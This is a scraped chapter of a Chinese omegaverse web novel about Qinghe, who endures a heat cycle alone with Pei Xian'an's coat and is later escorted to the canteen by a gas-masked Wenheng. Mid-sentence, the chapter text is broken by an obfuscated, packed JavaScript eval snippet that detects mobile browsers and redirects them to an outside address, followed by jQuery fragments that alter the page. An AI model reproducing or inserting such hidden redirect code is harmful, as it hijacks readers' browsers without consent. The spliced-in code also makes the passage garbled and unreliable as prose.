默认冷灰
24号文字
方正启体

20. 苦水河(十九)

作者:见茵知霜亭本书字数:K更新时间:
    体内有两股力量在打架。


    他一边劝自己忍辱负重才能早日离开,一边又在抵抗着体内信息素的澎湃起伏,理智和本能发生激烈的碰撞,几乎要将他整个人撕碎。


    和被发热期折磨比起来,在几乎是陌生人的裴鲜安面前展现被信息素控制的丑态更让他绝望崩溃。


    更何况,这从某种意义上来说是他的敌人。


    “不用,你去......你去忙吧,”晴鹤好像是用尽力气才对着裴鲜安说出这句话,“我自己可以。”


    空气似乎停滞了,时间似乎静止了,只剩两个人的呼吸声。


    他们俩就像磁铁相吸的两极,却又被什么东西向后拉着不许相互靠近,晴鹤要死死推着面前的床单,才能忍住自己想要不顾一切贴上去的冲动。


    晴鹤狠狠地咬住了口腔壁上的一块软肉,闭着眼睛地躺下了,他背对着门,侧过身背对着裴鲜安。


    好像这样就能假装自己已经从这段对峙中抽离。


    “好,我先走了。”一段时间过后,裴鲜安毫无波澜起伏的声音传了过来。


    一阵细细簌簌的声响过后,只听“咔哒”一声,应是那人离开了房间。


    门甫一被关上,晴鹤的情绪就绝了堤。他下了床,跌跌撞撞地走到门口,摸索了好一会儿才将门从内锁上。


    他不想再有任何人来看到他的丑态了。


    只是......奇怪,房间里好像还有某处地方散发着裴鲜安信息素的味道。


    晴鹤没有戴眼镜,眼前的世界模模糊糊看不清楚。


    咦?角落里怎么好像还有个人?黑黑的,站立着,好像味道也是从那里散发出来的。


    裴鲜安没走吗?没走的话,他是什么时候站到角落里去的?


    生理的本能促使他循着气味向那处走去,最后那“人”只有不到半米的时候,晴鹤终于看清了——原来是裴鲜安来时穿的那件大衣。


    ......太好了。


    已经有些不太清醒的晴鹤此刻由衷地感谢上天。


    他颤抖着双手从衣架上取下那件黑色大衣。


    接到俞汇霏打来的座机电话时,晴鹤正将头闷在大衣中微微颤抖着。


    他有些后知后觉地探出头,在电话铃已经响到快要终结的时候艰难地接起了电话,然后按了免提。


    “喂,小晴,你还好吗?”俞汇霏阳光的声音从电话那头传来,好像已经从下午的奇怪状态中完全恢复了过来,“过会儿到饭点了,你是和我们一起去吃还是我叫人给你送去?”


    晴鹤想不出自己这副样子该怎么和“他们”一起去吃,“他们”是谁?又有多少双好奇的眼睛等着从上到下地凝视自己?


    “送......送来吧。”晴鹤努力支撑着自己的身体,尽可能让声音听起来正常。


    “没事吧小晴,是不是饿久了,声音都有点虚。”俞汇霏有些担忧地关心道,“呆会儿让人给你多送点,你多吃点肉,太瘦了也,风一吹就要倒了一样。”


    “好......谢谢。”


    “对了,裴鲜安今天比较忙,白天没空,估计要到大半夜才能见你。”俞汇霏那边好像杂声越来越大,“今晚有联合模拟演练,他是指挥,没法抽身。你记得早点睡,就别等他了啊。”


    晴鹤感觉俞汇霏的话里有哪里怪怪的,但是已经为数不多的理智已经支撑不了他思考这么多,只能找出其中明显错误之处进行纠正:“他已经来过了。”


    “啊?”俞汇霏的音调一下子提高了,“他开上个会的地点和模拟演练的地方就一分钟的脚程,但是回办公室要走上二十分钟。他?裴鲜安?他回来了?”


    “可能是......有什么事情要处理吧。”晴鹤撑着被子,感觉自己已经快要控制不住大脑了,只想快点挂掉电话。


    “怎么可能,小晴,我跟你讲,就他?那种情况,办公室这边要是真有事,他也肯定是打电话使唤我,他本人是不可能回来的!”俞汇霏语气里是满满的不可思议和幸灾乐祸,只可惜晴鹤此刻已经无法听出这么多情绪,“小晴,你真厉害,我就知道我没看错人,哈哈!”


    晴鹤这边已经没有了回复的精力,他慢慢地躺回了枕头上,将裴鲜安的大衣盖在自己的身上,耳边伴随着电流声的俞汇霏的大笑声仿佛越来越远,他渐渐地、渐渐地,就这么闻着大衣上残留着的裴鲜安的信息素,毫无知觉地睡着了。


    晴鹤已经很久没有睡过不做梦的好觉了。


    大衣上的信息素就好像是他的助眠剂,他陷于混沌的黑暗之中,终于在长久的不安后得到了彻底的安眠。


    第二天醒来时,太阳已经高高挂起,阳光被铁丝网分割成一块一块的馅饼掉在了房间内的大理石砖上。


    晴鹤起身,发现身上的大衣已经不在了,自己躺在软绵的被子里,再加上暖洋洋的日光,整个人好似在晒太阳浴。


    裴鲜安昨天夜里回来了吗?自己竟然睡得毫无察觉。


    他的身体此刻没有任何不适,体内的信息素不能说是稳定,而是有种令他陌生的餍足之感。


    他下意识摸了摸脖子后的腺体。


    嘶......还是好痛。


    他的手指像触到电流一样被弹开。


    属狗的吗。


    晴鹤皱着眉从床上起身,才发现除了腺体被咬得不成人样之外,自己此刻已与常人无异。能跑能跳,除了肚子有些饿之外,甚至比昨天更有精气神了。


    这是为什么?他第一次被标记时几乎是五天内毫无意识,这次为什么只需要加强标记一次,就可以如此稳定?


    晴鹤恨自己没有好好学习过信息素相关知识——可他之前几乎不受信息素影响,又有什么必要去了解呢?


    可不管怎么说,这对他来讲都是好消息。


    接下来应该做些什么?摸索这里的路线和地形?还是找到通讯工具联系朋友家人?


    还未来得及细想,房间的门就被叩响


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538369|203889||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了。


    三声短,两声长。


    这敲门声晴鹤很熟悉,是问恒。


    他赶忙小跑过去将门打开,看到的却是一个带着“防毒面具”的人。透过面罩上的目镜,他才认出这确实是问恒。


    “你,你这是做什么?”晴鹤忍住笑意,这个防毒面罩对于脸型小巧的问恒显然有些过于宽大,以至于有些松松垮垮的,仿佛下一秒就要掉下去似的。


    问恒没有回答他的问题,只是带着十分的警惕望向晴鹤身后的房间内,好似里面有豺狼虎豹:“快出来吧阿晴,再不关上门整个走廊都能闻到你和他的信息素了。”


    晴鹤十分不解——有味道吗?有信息素的味道吗?


    他后退一步,努力地嗅了嗅——没有啊,房间里都是十分清新的空气呢。


    看见晴鹤无辜的表情,问恒无奈地看了他一眼,身体已经有些站不稳似的:“......我隔着面具都快被影响了。”


    不知从哪里传来一声“哪来的信息素味儿”,在不算宽敞的走廊里甚至带起了回音。晴鹤反应了一秒,这才有了些后知后觉的羞耻感。


    他赶紧从房间里走出来,关上房门,扯住问恒的袖子,彷徨地站定在原地。


    走廊里不似昨日空无一人,此刻,三三两两的工作人员正抱着文件夹匆匆走过,却在经过晴鹤、问恒两人身边时放慢了些脚步,有的人目光大胆地在晴鹤略显凌乱的衣角和问恒那夸张的防毒面具之间来回扫视,有的人只敢偷偷瞟两眼,但眼中的好奇与八卦是掩不住的。


    谁都知道这间屋子紧靠着上校的办公室,往常也只给上校休息用,就连俞助理官都没见进去或者出来过。


    晴鹤被来来往往的目光看得有些难安,他不敢去想这些人目光下会有怎样的心理活动。


    往常,他是靠学识技艺赚钱的普通人,在学校里受学生喜爱,和同事平等交流,和每个人都和睦相处。不管是什么身份的学生家长,至少都会给予他最基本的尊重与敬意。


    现在,他的身份变成了......变成了......


    他左手扯着问恒的衣袖,右手紧紧捏住裤缝,声音放到最低:“咱们去哪?”


    “吃饭,咱们去食堂。”和晴鹤比起来,问恒倒是显得很轻松,他似乎察觉不到晴鹤的别扭与不适,带着沉默不语的晴鹤一路来到电梯口。


    刚起来时久违的舒适感所带来的短暂的愉悦只持续了不到十分钟,现在的晴鹤又陷入煎熬之中。


    进电梯前,问恒不知从何处掏出了比之前还厚的整整五层抑制贴,小心翼翼地贴到了晴鹤的脖子上。


    “我昨天研究了一宿,才想出这种组合,”问恒的语调带着些神秘,“绝对不会有人能闻到你的信息素。”


    这部精致的电梯显然不是昨日地下车库的升降梯,当电梯门在晴鹤面前打开时,里面已经站了五六个人。


    晴鹤按了按脖子上的抑制贴,深吸一口气,跟着问恒进了电梯。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)